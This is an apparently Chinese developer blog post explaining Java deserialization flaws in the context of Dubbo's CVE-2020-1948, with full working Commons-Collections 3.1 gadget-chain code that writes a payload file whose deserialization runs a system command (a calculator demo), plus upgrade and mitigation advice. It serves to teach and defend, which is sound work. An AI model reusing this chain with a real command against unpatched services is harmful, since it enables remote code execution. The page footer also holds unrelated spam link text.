<kbd id="afajh"><form id="afajh"></form></kbd>
<strong id="afajh"><dl id="afajh"></dl></strong>
    <del id="afajh"><form id="afajh"></form></del>
        1. <th id="afajh"><progress id="afajh"></progress></th>
          <b id="afajh"><abbr id="afajh"></abbr></b>
          <th id="afajh"><progress id="afajh"></progress></th>

          Dubbo 高危漏洞!原來(lái)都是反序列化惹得禍

          共 10662字,需瀏覽 22分鐘

           ·

          2020-07-05 23:23

          點(diǎn)擊藍(lán)色“程序通事”關(guān)注我喲

          加個(gè)“星標(biāo)”,助我從小黑屋出關(guān)?

          前言

          這周收到外部合作同事推送的一篇文章,【漏洞通告】Apache Dubbo Provider默認(rèn)反序列化遠(yuǎn)程代碼執(zhí)行漏洞(CVE-2020-1948)通告。

          按照文章披露的漏洞影響范圍,可以說(shuō)是當(dāng)前所有的 Dubbo 的版本都有這個(gè)問(wèn)題。

          1d99983550aac607634d20d142e4dc68.webp

          無(wú)獨(dú)有偶,這周在 Github 自己的倉(cāng)庫(kù)上推送幾行改動(dòng),不一會(huì)就收到 Github 安全提示,警告當(dāng)前項(xiàng)目存在安全漏洞CVE-2018-10237。

          a01c895e78ec961ce2a58bdd83876c53.webp

          可以看到這兩個(gè)漏洞都是利用反序列化進(jìn)行執(zhí)行惡意代碼,可能很多同學(xué)跟我當(dāng)初一樣,看到這個(gè)一臉懵逼。好端端的反序列化,怎么就能被惡意利用,用來(lái)執(zhí)行的惡意代碼?

          63baf40559f149fbd764d5dbc59ec4b0.webp

          這篇文章我們就來(lái)聊聊反序列化漏洞,了解一下黑客是如何利用這個(gè)漏洞進(jìn)行攻擊。

          反序列化漏洞

          在了解反序列化漏洞之前,首先我們學(xué)習(xí)一下兩個(gè)基礎(chǔ)知識(shí)。

          Java 運(yùn)行外部命令

          Java 中有一個(gè)類 Runtime,我們可以使用這個(gè)類執(zhí)行執(zhí)行一些外部命令。

          下面例子中我們使用 Runtime 運(yùn)行打開(kāi)系統(tǒng)的計(jì)算器軟件。

          //?僅適用macos?
          Runtime.getRuntime().exec("open?-a?Calculator?");

          有了這個(gè)類,惡意代碼就可以執(zhí)行外部命令,比如執(zhí)行一把 rm /*。

          序列化/反序列化

          如果經(jīng)常使用 Dubbo,Java 序列化與反序列化應(yīng)該不會(huì)陌生。

          一個(gè)類通過(guò)實(shí)現(xiàn) Serializable接口,我們就可以將其序列化成二進(jìn)制數(shù)據(jù),進(jìn)而存儲(chǔ)在文件中,或者使用網(wǎng)絡(luò)傳輸。

          其他程序可以通過(guò)網(wǎng)絡(luò)接收,或者讀取文件的方式,讀取序列化的數(shù)據(jù),然后對(duì)其進(jìn)行反序列化,從而反向得到相應(yīng)的類的實(shí)例。

          ae77576e2aa3c44fa0885462d53c20ec.webp

          下面的例子我們將 App 的對(duì)象進(jìn)行序列化,然后將數(shù)據(jù)保存到的文件中。后續(xù)再?gòu)奈募凶x取序列化數(shù)據(jù),對(duì)其進(jìn)行反序列化得到 App 類的對(duì)象實(shí)例。

          public?class?App?implements?Serializable?{

          ????private?String?name;

          ????private?static?final?long?serialVersionUID?=?7683681352462061434L;


          ????private?void?readObject(java.io.ObjectInputStream?in)?throws?IOException,?ClassNotFoundException?{
          ????????in.defaultReadObject();
          ????????System.out.println("readObject?name?is?"+name);
          ????????Runtime.getRuntime().exec("open?-a?Calculator");
          ????}

          ????public?static?void?main(String[]?args)?throws?IOException,?ClassNotFoundException?{
          ????????App?app?=?new?App();
          ????????app.name?=?"程序通事";

          ????????FileOutputStream?fos?=?new?FileOutputStream("test.payload");
          ????????ObjectOutputStream?os?=?new?ObjectOutputStream(fos);
          ????????//writeObject()方法將Unsafe對(duì)象寫(xiě)入object文件
          ????????os.writeObject(app);
          ????????os.close();
          ????????//從文件中反序列化obj對(duì)象
          ????????FileInputStream?fis?=?new?FileInputStream("test.payload");
          ????????ObjectInputStream?ois?=?new?ObjectInputStream(fis);
          ????????//恢復(fù)對(duì)象
          ????????App?objectFromDisk?=?(App)ois.readObject();
          ????????System.out.println("main?name?is?"+objectFromDisk.name);
          ????????ois.close();
          ????}

          執(zhí)行結(jié)果:

          readObject name is 程序通事
          main name is 程序通事

          并且成功打開(kāi)了計(jì)算器程序。

          當(dāng)我們調(diào)用 ObjectInputStream#readObject讀取反序列化的數(shù)據(jù),如果對(duì)象內(nèi)實(shí)現(xiàn)了 readObject方法,這個(gè)方法將會(huì)被調(diào)用。

          源碼如下:

          5c444d70eb7cf8c1b7fcdfcefd0f0a81.webp

          反序列化漏洞執(zhí)行條件

          上面的例子中,我們?cè)?readObject 方法內(nèi)主動(dòng)使用Runtime執(zhí)行外部命令。但是正常的情況下,我們肯定不會(huì)在 readObject寫(xiě)上述代碼,除非是內(nèi)鬼 ̄□ ̄||

          a753cef79cdfb79d09e790dcc639f1c9.webp

          如果可以找到一個(gè)對(duì)象,他的readObject方法可以執(zhí)行任意代碼,那么在反序列過(guò)程也會(huì)執(zhí)行對(duì)應(yīng)的代碼。我們只要將滿足上述條件的對(duì)象序列化之后發(fā)送給先相應(yīng) Java 程序,Java 程序讀取之后,進(jìn)行反序列化,就會(huì)執(zhí)行指定的代碼。

          為了使反序列化漏洞成功執(zhí)行需要滿足以下條件:

          1. Java 反序列化應(yīng)用中需要存在序列化使用的類,不然反序列化時(shí)將會(huì)拋出 ?ClassNotFoundException 異常。
          2. Java 反序列化對(duì)象的 readObject方法可以執(zhí)行任何代碼,沒(méi)有任何驗(yàn)證或者限制。

          引用一段網(wǎng)上的反序列化攻擊流程,來(lái)源:https://xz.aliyun.com/t/7031

          1. 客戶端構(gòu)造payload(有效載荷),并進(jìn)行一層層的封裝,完成最后的exp(exploit-利用代碼)
          2. exp發(fā)送到服務(wù)端,進(jìn)入一個(gè)服務(wù)端自主復(fù)寫(xiě)(也可能是也有組件復(fù)寫(xiě))的readobject函數(shù),它會(huì)反序列化恢復(fù)我們構(gòu)造的exp去形成一個(gè)惡意的數(shù)據(jù)格式exp_1(剝?nèi)サ谝粚樱?/li>
          3. 這個(gè)惡意數(shù)據(jù)exp_1在接下來(lái)的處理流程(可能是在自主復(fù)寫(xiě)的readobject中、也可能是在外面的邏輯中),會(huì)執(zhí)行一個(gè)exp_1這個(gè)惡意數(shù)據(jù)類的一個(gè)方法,在方法中會(huì)根據(jù)exp_1的內(nèi)容進(jìn)行函處理,從而一層層地剝?nèi)ィɑ蛘哒f(shuō)變形、解析)我們exp_1變成exp_2、exp_3......
          4. 最后在一個(gè)可執(zhí)行任意命令的函數(shù)中執(zhí)行最后的payload,完成遠(yuǎn)程代碼執(zhí)行。

          Common-Collections

          下面我們以 Common-Collections 的存在反序列化漏洞為例,來(lái)復(fù)現(xiàn)反序列化攻擊流程。

          首先我們?cè)趹?yīng)用內(nèi)引入 Common-Collections 依賴,這里需要注意,我們需要引入 3.2.2 版本之前,之后的版本這個(gè)漏洞已經(jīng)被修復(fù)。


          ????commons-collections
          ????commons-collections
          ????3.1

          PS:下面的代碼只有在 JDK7 環(huán)境下執(zhí)行才能復(fù)現(xiàn)這個(gè)問(wèn)題。

          首先我們需要明確,我們做一系列目的就是為了讓?xiě)?yīng)用程序成功執(zhí)行 Runtime.getRuntime().exec("open -a Calculator")

          當(dāng)然我們沒(méi)辦法讓程序直接運(yùn)行上述語(yǔ)句,我們需要借助其他類,間接執(zhí)行。

          Common-Collections存在一個(gè) Transformer,可以將一個(gè)對(duì)象類型轉(zhuǎn)為另一個(gè)對(duì)象類型,相當(dāng)于 Java Stream 中的 map 函數(shù)。

          Transformer有幾個(gè)實(shí)現(xiàn)類:

          • ConstantTransformer
          • InvokerTransformer
          • ChainedTransformer

          其中 ConstantTransformer用于將對(duì)象轉(zhuǎn)為一個(gè)常量值,例如:

          Transformer?transformer?=?new?ConstantTransformer("程序通事");
          Object?transform?=?transformer.transform("樓下小黑哥");
          //?輸出對(duì)象為?程序通事
          System.out.println(transform);

          InvokerTransformer將會(huì)使用反射機(jī)制執(zhí)行指定方法,例如:

          Transformer?transformer?=?new?InvokerTransformer(
          ????????"append",
          ????????new?Class[]{String.class},
          ????????new?Object[]{"樓下小黑哥"}
          );
          StringBuilder?input=new?StringBuilder("程序通事-");
          //?反射執(zhí)行了?input.append("樓下小黑哥");
          Object?transform?=?transformer.transform(input);
          //?程序通事-樓下小黑哥
          System.out.println(transform);

          ChainedTransformer 需要傳入一個(gè) Transformer[]數(shù)組對(duì)象,使用責(zé)任鏈模式執(zhí)行的內(nèi)部 Transformer,例如:

          Transformer[]?transformers?=?new?Transformer[]{
          ????????new?ConstantTransformer(Runtime.getRuntime()),
          ????????new?InvokerTransformer(
          ????????????????"exec",
          ????????????????new?Class[]{String.class},?new?Object[]{"open?-a?Calculator"})
          };

          Transformer?chainTransformer?=?new?ChainedTransformer(transformers);
          chainTransformer.transform("任意對(duì)象值");

          通過(guò) ChainedTransformer 鏈?zhǔn)綀?zhí)行 ConstantTransformer,InvokerTransformer邏輯,最后我們成功的運(yùn)行的 Runtime語(yǔ)句。

          不過(guò)上述的代碼存在一些問(wèn)題,Runtime沒(méi)有繼承 Serializable接口,我們無(wú)法將其進(jìn)行序列化。

          1b375f0b005c2d28ce12b22e9ae5b7e1.webp

          如果對(duì)其進(jìn)行序列化程序?qū)?huì)拋出異常:

          5ea867963f46413b3168cc5bbbbe7bf5.webpimage-20200705123341395

          我們需要改造以上代碼,使用 Runtime.class 經(jīng)過(guò)一系列的反射執(zhí)行:

          String[]?execArgs?=?new?String[]{"open?-a?Calculator"};

          final?Transformer[]?transformers?=?new?Transformer[]{
          ????????new?ConstantTransformer(Runtime.class),
          ????????new?InvokerTransformer(
          ????????????????"getMethod",
          ????????????????new?Class[]{String.class,?Class[].class},
          ????????????????new?Object[]{"getRuntime",?new?Class[0]}
          ????????),
          ????????new?InvokerTransformer(
          ????????????????"invoke",
          ????????????????new?Class[]{Object.class,?Object[].class},
          ????????????????new?Object[]{null,?new?Object[0]}
          ????????),
          ????????new?InvokerTransformer(
          ????????????????"exec",
          ????????????????new?Class[]{String.class},?execArgs),
          };

          剛接觸這塊的同學(xué)的應(yīng)該已經(jīng)看暈了吧,沒(méi)關(guān)系,我將上面的代碼翻譯一下正常的反射代碼一下:

          ((Runtime)?Runtime.class.
          ????????getMethod("getRuntime",?null).
          ????????invoke(null,?null)).
          ????????exec("open?-a?Calculator");

          TransformedMap

          接下來(lái)我們需要找到相關(guān)類,可以自動(dòng)調(diào)用Transformer內(nèi)部方法。

          Common-Collections內(nèi)有兩個(gè)類將會(huì)調(diào)用 Transformer

          • TransformedMap
          • LazyMap

          下面將會(huì)主要介紹 TransformedMap觸發(fā)方式,LazyMap觸發(fā)方式比較類似,感興趣的同學(xué)可以研究這個(gè)開(kāi)源庫(kù)@ysoserial CommonsCollections1。

          Github 地址:https://github.com/frohoff/ysoserial

          TransformedMap 可以用來(lái)對(duì) Map 進(jìn)行某種變換,底層原理實(shí)際上是使用傳入的 Transformer 進(jìn)行轉(zhuǎn)換。

          Transformer?transformer?=?new?ConstantTransformer("程序通事");

          Map?testMap?=?new?HashMap<>();
          testMap.put("a",?"A");
          //?只對(duì)?value?進(jìn)行轉(zhuǎn)換
          Map?decorate?=?TransformedMap.decorate(testMap,?null,?transformer);
          //?put?方法將會(huì)觸發(fā)調(diào)用?Transformer?內(nèi)部方法
          decorate.put("b",?"B");

          for?(Object?entry?:?decorate.entrySet())?{
          ????Map.Entry?temp?=?(Map.Entry)?entry;
          ????if?(temp.getKey().equals("a"))?{
          ????????//?Map.Entry?setValue?也會(huì)觸發(fā)?Transformer?內(nèi)部方法
          ????????temp.setValue("AAA");
          ????}
          }
          System.out.println(decorate);

          輸出結(jié)果為:

          {b=程序通事,?a=程序通事}

          AnnotationInvocationHandler

          上文中我們知道了,只要調(diào)用 TransformedMapput 方法,或者調(diào)用 Map.EntrysetValue方法就可以觸發(fā)我們?cè)O(shè)置的 ChainedTransformer,從而觸發(fā) Runtime 執(zhí)行外部命令。

          現(xiàn)在我們就需要找到一個(gè)可序列化的類,這個(gè)類正好實(shí)現(xiàn)了 readObject,且正好可以調(diào)用 Map put 的方法或者調(diào)用 Map.EntrysetValue。

          Java 中有一個(gè)類 sun.reflect.annotation.AnnotationInvocationHandler,正好滿足上述的條件。這個(gè)類構(gòu)造函數(shù)可以設(shè)置一個(gè) Map 變量,這下剛好可以把上面的 TransformedMap 設(shè)置進(jìn)去。

          e837c3fbb79b697077a34bb904e3a0d8.webp

          不過(guò)不要高興的太早,這個(gè)類沒(méi)有 public 修飾符,默認(rèn)只有同一個(gè)包才可以使用。

          1febc04ba72905251470d8a613978f23.webp

          不過(guò)這點(diǎn)難度,跟上面一比,還真是輕松,我們可以通過(guò)反射獲取從而獲取這個(gè)類的實(shí)例。

          示例代碼如下:

          Class?cls?=?Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
          Constructor?ctor?=?cls.getDeclaredConstructor(Class.class,?Map.class);
          ctor.setAccessible(true);
          //?隨便使用一個(gè)注解
          Object?instance?=?ctor.newInstance(Target.class,?exMap);

          完整的序列化漏洞示例代碼如下 :

          String[]?execArgs?=?new?String[]{"open?-a?Calculator"};

          final?Transformer[]?transformers?=?new?Transformer[]{
          ????????new?ConstantTransformer(Runtime.class),
          ????????new?InvokerTransformer(
          ????????????????"getMethod",
          ????????????????new?Class[]{String.class,?Class[].class},
          ????????????????new?Object[]{"getRuntime",?new?Class[0]}
          ????????),
          ????????new?InvokerTransformer(
          ????????????????"invoke",
          ????????????????new?Class[]{Object.class,?Object[].class},
          ????????????????new?Object[]{null,?new?Object[0]}
          ????????),
          ????????new?InvokerTransformer(
          ????????????????"exec",
          ????????????????new?Class[]{String.class},?execArgs),
          };
          //
          Transformer?transformerChain?=?new?ChainedTransformer(transformers);

          Map?tempMap?=?new?HashMap<>();
          //?tempMap?不能為空
          tempMap.put("value",?"you");

          Map?exMap?=?TransformedMap.decorate(tempMap,?null,?transformerChain);



          Class?cls?=?Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
          Constructor?ctor?=?cls.getDeclaredConstructor(Class.class,?Map.class);
          ctor.setAccessible(true);
          //?隨便使用一個(gè)注解
          Object?instance?=?ctor.newInstance(Target.class,?exMap);


          File?f?=?new?File("test.payload");
          ObjectOutputStream?oos?=?new?ObjectOutputStream(new?FileOutputStream(f));
          oos.writeObject(instance);
          oos.flush();
          oos.close();

          ObjectInputStream?ois?=?new?ObjectInputStream(new?FileInputStream(f));
          //?觸發(fā)代碼執(zhí)行
          Object?newObj?=?ois.readObject();
          ois.close();

          上面代碼中需要注意,tempMap需要一定不能為空,且 key 一定要是 value。那可能有的同學(xué)為什么一定要這樣設(shè)置?

          tempMap不能為空的原因是因?yàn)?readObject 方法內(nèi)需要遍歷內(nèi)部 Map.Entry.

          至于第二個(gè)問(wèn)題,別問(wèn),問(wèn)就是玄學(xué)~好吧,我也沒(méi)研究清楚--,有了解的小伙伴的留言一下。

          最后總結(jié)一下這個(gè)反序列化漏洞代碼執(zhí)行鏈路如下:

          d96630d20dfe18f653ef7437134b9aa5.webp

          Common-Collections 漏洞修復(fù)方式

          在 JDK 8 中,AnnotationInvocationHandler 移除了 memberValue.setValue的調(diào)用,從而使我們上面構(gòu)造的 AnnotationInvocationHandler+TransformedMap失效。

          另外 Common-Collections3.2.2 版本,對(duì)這些不安全的 Java 類序列化支持增加了開(kāi)關(guān),默認(rèn)為關(guān)閉狀態(tài)。

          比如在 InvokerTransformer類中重寫(xiě) readObject,增相關(guān)判斷。如果沒(méi)有開(kāi)啟不安全的類的序列化則會(huì)拋出UnsupportedOperationException異常6999800f3d1cb586f62fed1903dd83f8.webp

          Dubbo 反序列化漏洞

          Dubbo 反序列化漏洞原理與上面的類似,但是執(zhí)行的代碼攻擊鏈與上面完全不一樣,這里就不再?gòu)?fù)現(xiàn)的詳細(xì)的實(shí)現(xiàn)的方式,感興趣的可以看下面兩篇文章:

          https://blog.csdn.net/caiqiiqi/article/details/106934770

          https://www.mail-archive.com/[email protected]/msg06544.html

          Dubbo 在 2020-06-22 日發(fā)布 2.7.7 版本,升級(jí)內(nèi)容名其中包括了這個(gè)反序列化漏洞的修復(fù)。不過(guò)從其他人發(fā)布的文章來(lái)看,2.7.7 版本的修復(fù)方式,只是初步改善了問(wèn)題,不過(guò)并沒(méi)有根本上解決的這個(gè)問(wèn)題。

          感興趣的同學(xué)可以看下這篇文章:

          https://www.freebuf.com/mob/vuls/241975.html

          防護(hù)措施

          最后作為一名普通的開(kāi)發(fā)者來(lái)說(shuō),我們自己來(lái)修復(fù)這種漏洞,實(shí)在不太現(xiàn)實(shí)。

          術(shù)業(yè)有專攻,這種專業(yè)的事,我們就交給個(gè)高的人來(lái)頂。

          我們需要做的事,就是了解的這些漏洞的一些基本原理,樹(shù)立的一定意識(shí)。

          其次我們需要了解一些基本的防護(hù)措施,做到一些基本的防御。

          如果碰到這類問(wèn)題,我們及時(shí)需要關(guān)注官方的新的修復(fù)版本,盡早升級(jí),比如 Common-Collections 版本升級(jí)。

          有些依賴 jar 包,升級(jí)還是方便,但是有些東西升級(jí)就比較麻煩了。就比如這次 Dubbo 來(lái)說(shuō),官方目前只放出的 Dubbo 2.7 版本的修復(fù)版本,如果我們需要升級(jí),需要將版本直接升級(jí)到 Dubbo 2.7.7。

          如果你目前已經(jīng)在使用 Dubbo 2.7 版本,那么升級(jí)還是比較簡(jiǎn)單。但是如果還在使用 Dubbo 2.6 以下版本的,那么就麻煩了,沒(méi)辦法直接升級(jí)。

          Dubbo 2.6 到 Dubbo 2.7 版本,其中升級(jí)太多了東西,就比如包名變更,影響真的比較大。

          就拿我們系統(tǒng)來(lái)講,我們目前這套系統(tǒng),生產(chǎn)還在使用 JDK7。如果需要升級(jí),我們首先需要升級(jí) JDK。

          其次,我們目前大部分應(yīng)用還在使用 Dubbo 2.5.6 版本,這是真的,版本就是這么低。

          這部分應(yīng)用直接升級(jí)到 Dubbo 2.7 ,改動(dòng)其實(shí)非常大。另外有些基礎(chǔ)服務(wù),自從第一次部署之后,就再也沒(méi)有重新部署過(guò)。對(duì)于這類應(yīng)用還需要仔細(xì)評(píng)估。

          最后,我們有些應(yīng)用,自己實(shí)現(xiàn)了 Dubbo SPI,由于 Dubbo 2.7 版本的包路徑改動(dòng),這些 Dubbo SPI 相關(guān)包路徑也需要做出一些改動(dòng)。

          所以直接升級(jí)到 Dubbo 2.7 版本的,對(duì)于一些老系統(tǒng)來(lái)講,還真是一件比較麻煩的事。

          如果真的需要升級(jí),不建議一次性全部升級(jí),建議采用逐步升級(jí)替換的方式,慢慢將整個(gè)系統(tǒng)的內(nèi) Dubbo 版本的升級(jí)。

          所以這種情況下,短時(shí)間內(nèi)防御措施,可參考玄武實(shí)驗(yàn)室給出的方案:

          c902385187ed29ef91a1034a8cbd6749.webp

          如果當(dāng)前 Dubbo 部署云上,那其實(shí)比較簡(jiǎn)單,可以使用云廠商的提供的相關(guān)流量監(jiān)控產(chǎn)品,提前一步阻止漏洞的利用。

          最后(來(lái)個(gè)一鍵四連!?。。?/span>

          本人不是從事安全開(kāi)發(fā),上文中相關(guān)總結(jié)都是查詢網(wǎng)上資料,然后加以自己的理解。如果有任何錯(cuò)誤,麻煩各位大佬輕噴~?

          如果可以的話,留言指出,謝謝了~

          好了,說(shuō)完了正事,來(lái)說(shuō)說(shuō)這周的趣事~

          這周搬到了小黑屋,哼次哼次進(jìn)入開(kāi)發(fā)~

          剛進(jìn)到小黑屋的時(shí)候,我發(fā)現(xiàn)里面的桌子,可以單獨(dú)拆開(kāi)。于是我就單獨(dú)拆除一個(gè)桌子,然后霸占了一個(gè)背靠窗,正面直對(duì)大門的天然劃水摸魚(yú)的好位置。

          之后我又叫來(lái)另外一個(gè)同事,坐在我的邊上。當(dāng)我們的把電腦,顯示器啥的都搬過(guò)來(lái)放到桌子上之后。外面進(jìn)來(lái)的同事就說(shuō)這個(gè)會(huì)議室怎么就變成了跟房產(chǎn)線下門店一樣了~

          還真別說(shuō),在我的位置前面擺上兩把椅子,就跟上面的圖一樣了~

          eda4e4f2fc49e5038ec3d5b30ea159b2.webp

          好了,下周有點(diǎn)不知道些什么,大家有啥想了解,感興趣的,可以留言一下~

          如果沒(méi)有寫(xiě)作主題的話,咱就干回老本行,來(lái)聊聊這段時(shí)間,我在開(kāi)發(fā)的聚合支付模式,盡請(qǐng)期待哈~

          幫助資料

          1. http://blog.nsfocus.net/deserialization/
          2. http://www.beesfun.com/2017/05/07/JAVA反序列化漏洞知識(shí)點(diǎn)整理/
          3. https://xz.aliyun.com/t/2041
          4. https://xz.aliyun.com/t/2028
          5. https://www.freebuf.com/vuls/241975.html
          6. http://rui0.cn/archives/1338
          7. http://apachecommonstipsandtricks.blogspot.com/2009/01/transformedmap-and-transformers-plug-in.html
          8. https://security.tencent.com/index.php/blog/msg/97
          9. JAVA反序列化漏洞完整過(guò)程分析與調(diào)試
          10. https://security.tencent.com/index.php/blog/msg/131
          11. https://paper.seebug.org/1264/#35

          本文外鏈較多,由于公眾號(hào)無(wú)法直接點(diǎn)擊跳轉(zhuǎn),如需點(diǎn)擊文內(nèi)鏈接,請(qǐng)點(diǎn)擊原文再次跳轉(zhuǎn)~


          ▼推薦閱讀▼


          老大吩咐的可重入分布式鎖,終于完美的實(shí)現(xiàn)了~

          造了一個(gè) Redis 分布鎖的輪子,沒(méi)想到還學(xué)到這么多東西?。?!

          MySQL 可重復(fù)讀,差點(diǎn)就讓我背上了一個(gè) P0 事故!


          瀏覽 23
          點(diǎn)贊
          評(píng)論
          收藏
          分享

          手機(jī)掃一掃分享

          分享
          舉報(bào)
          評(píng)論
          圖片
          表情
          推薦
          點(diǎn)贊
          評(píng)論
          收藏
          分享

          手機(jī)掃一掃分享

          分享
          舉報(bào)
          <kbd id="afajh"><form id="afajh"></form></kbd>
          <strong id="afajh"><dl id="afajh"></dl></strong>
            <del id="afajh"><form id="afajh"></form></del>
                1. <th id="afajh"><progress id="afajh"></progress></th>
                  <b id="afajh"><abbr id="afajh"></abbr></b>
                  <th id="afajh"><progress id="afajh"></progress></th>
                  国产在线拍偷自揄拍无码一区二区 | 天天操天天干天天插 | 爱爱免费视频 | 亚洲熟妇一区二区三区 | 俺也去资源另类在线 |